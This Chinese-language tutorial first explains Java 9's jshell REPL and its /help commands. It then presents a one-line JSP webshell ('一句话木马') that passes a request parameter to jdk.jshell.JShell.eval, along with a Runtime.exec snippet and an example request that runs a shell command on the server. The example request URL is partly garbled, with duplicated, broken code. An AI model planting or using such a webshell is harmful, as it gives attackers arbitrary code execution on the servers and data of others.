JShell

Java 9开始提供了一个叫jshell的功能,jshell是一个REPL(Read-Eval-Print Loop)命令行工具,提供了一个交互式命令行界面,在jshell中我们不再需要编写类也可以执行Java代码片段,开发者可以像pythonphp一样在命令行下愉快的写测试代码了。

命令行执行jshell即可进入jshell模式:

image-20191219163053592

输入:/help可以查看具体的命令:

  1. | 键入 Java 语言表达式, 语句或声明。
  2. | 或者键入以下命令之一:
  3. | /list [<名称或 id>|-all|-start]
  4. | 列出您键入的源
  5. | /edit <名称或 id>
  6. | 编辑按名称或 id 引用的源条目
  7. | /drop <名称或 id>
  8. | 删除按名称或 id 引用的源条目
  9. | /save [-all|-history|-start] <文件>
  10. | 将片段源保存到文件。
  11. | /open <file>
  12. | 打开文件作为源输入
  13. | /vars [<名称或 id>|-all|-start]
  14. | 列出已声明变量及其值
  15. | /methods [<名称或 id>|-all|-start]
  16. | 列出已声明方法及其签名
  17. | /types [<名称或 id>|-all|-start]
  18. | 列出已声明的类型
  19. | /imports
  20. | 列出导入的项
  21. | /exit
  22. | 退出 jshell
  23. | /env [-class-path <路径>] [-module-path <路径>] [-add-modules <模块>] ...
  24. | 查看或更改评估上下文
  25. | /reset [-class-path <路径>] [-module-path <路径>] [-add-modules <模块>]...
  26. | 重启 jshell
  27. | /reload [-restore] [-quiet] [-class-path <路径>] [-module-path <路径>]...
  28. | 重置和重放相关历史记录 -- 当前历史记录或上一个历史记录 (-restore)
  29. | /history
  30. | 您键入的内容的历史记录
  31. | /help [<command>|<subject>]
  32. | 获取 jshell 的相关信息
  33. | /set editor|start|feedback|mode|prompt|truncation|format ...
  34. | 设置 jshell 配置信息
  35. | /? [<command>|<subject>]
  36. | 获取 jshell 的相关信息
  37. | /!
  38. | 重新运行上一个片段
  39. | /<id>
  40. | id 重新运行片段
  41. | /-<n>
  42. | 重新运行前面的第 n 个片段
  43. |
  44. | 有关详细信息, 请键入 '/help', 后跟
  45. | 命令或主题的名称。
  46. | 例如 '/help /list' '/help intro'。主题:
  47. |
  48. | intro
  49. | jshell 工具的简介
  50. | shortcuts
  51. | 片段和命令输入提示, 信息访问以及
  52. | 自动代码生成的按键说明
  53. | context
  54. | /env /reload /reset 的评估上下文选项

使用JShell执行代码片段

jshell不仅是一个命令行工具,在我们的应用程序中同样也可以调用jshell内部的实现API,也就是说我们可以利用jshell来执行Java代码片段而不再需要将Java代码编译成class文件后执行了。

jshell调用了jdk.jshell.JShell类的eval方法来执行我们的代码片段,那么我们只要想办法调用这个eval方法也就可以实现真正意义上的一句话木马了。

jshell.jsp一句话木马示例:

  1. <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>

程序执行后会输出一些不必要的信息,如果有强迫症可以修改为:

  1. <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>

然后我们需要编写一个执行本地命令的代码片段:

  1. new String(Runtime.getRuntime().exec("pwd").getInputStream().readAllBytes())

Java 9java.io.InputStream类正好提供了一个readAllBytes方法,我们从此以后再也不需要按字节读取了。

浏览器请求:http://localhost:8080/jshell.jsp?src=new%20String(Runtime.getRuntime().exec(%22pwd%22).getInputStream().readAllBytes()).exec(“pwd”).getInputStream().readAllBytes()))

程序执行结果:

image-20191219163053592